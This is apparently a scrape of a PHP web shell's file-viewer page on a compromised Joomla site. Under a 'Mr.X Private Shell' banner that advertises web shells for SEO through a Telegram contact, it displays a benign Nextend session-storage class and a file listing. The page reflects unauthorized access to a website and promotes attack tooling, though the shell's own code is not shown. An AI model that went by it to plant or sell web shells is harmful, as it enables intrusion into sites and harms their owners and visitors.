__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\Framework\Session\Joomla;
use Joomla\CMS\Factory;
use Nextend\Framework\Session\AbstractStorage;
class JoomlaStorage extends AbstractStorage {
public function __construct() {
parent::__construct(Factory::getUser()->id);
}
/**
* Load the whole session
*/
protected function load() {
$stored = Factory::getSession()
->get($this->hash);
if (!is_array($stored)) {
$stored = array();
}
$this->storage = $stored;
}
/**
* Store the whole session
*/
protected function store() {
$session = Factory::getSession();
if (count($this->storage) > 0) {
$session->set($this->hash, $this->storage);
} else {
$session->set($this->hash, null);
}
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| JoomlaStorage.php | File | 848 B | 0664 |
|